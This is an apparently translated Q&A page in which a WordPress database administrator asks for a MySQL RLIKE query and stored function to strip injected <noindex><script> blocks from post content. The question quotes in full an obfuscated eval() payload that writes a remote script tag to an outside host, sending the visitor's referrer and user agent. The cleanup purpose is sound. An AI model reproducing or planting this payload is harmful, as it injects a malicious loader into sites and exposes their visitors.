MySQL RLIKE查找,然后替换打开和关闭HTML标签之间的所有字符

时间:2019-06-06 22:24:07

标签: mysql rlike

我管理一个数据库,该数据库包含多行,其中代码包装在标签中。

要删除的示例代码

<noindex><script id="">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeznk|var|u0026u|referrer|zzrez||js|php'.split('|'),0,{}))
</script></noindex>

我需要更新以下SQL查询以选择noindex标记及其中的所有字符,然后将其完全删除。

UPDATE `wp_posts`
SET `post_content` = strip_certain_tags(post_content, 'script', true)
WHERE `post_content` RLIKE '<noindex>.*\n?</noindex>';

我也尝试过此<noindex>(.*)</noindex>,但并非所有代码都被删除了。以下代码已<noindex><script id=""></script></script>被删除,但评估字符串仍然保留。

MySQL功能

DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
    DECLARE $start, $end INT DEFAULT 1;
    SET $str = COALESCE($str, '');
    LOOP
        SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
        IF (!$start) THEN RETURN $str; END IF;
        IF ($keep_phrase) THEN
            SET $end = LOCATE('>', $str, $start);
            IF (!$end) THEN SET $end = $start; END IF;
            SET $str = INSERT($str, $start, $end - $start + 1, '');
            SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
        ELSE
            SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
            IF (!$end) THEN 
                SET $end = LOCATE('/>',$str,$start); 
                SET $str = INSERT($str, $start, $end - $start + 2, '');
            ELSE 
                SET $str = INSERT($str, $start, $end - $start 
                   + LENGTH(CONCAT('</', $tag, '>')), '');
            END IF;
        END IF;
    END LOOP;
END$$
DELIMITER ;

我的POSIX正则表达式知识有限。任何提示都将不胜感激。

0 个答案:

没有答案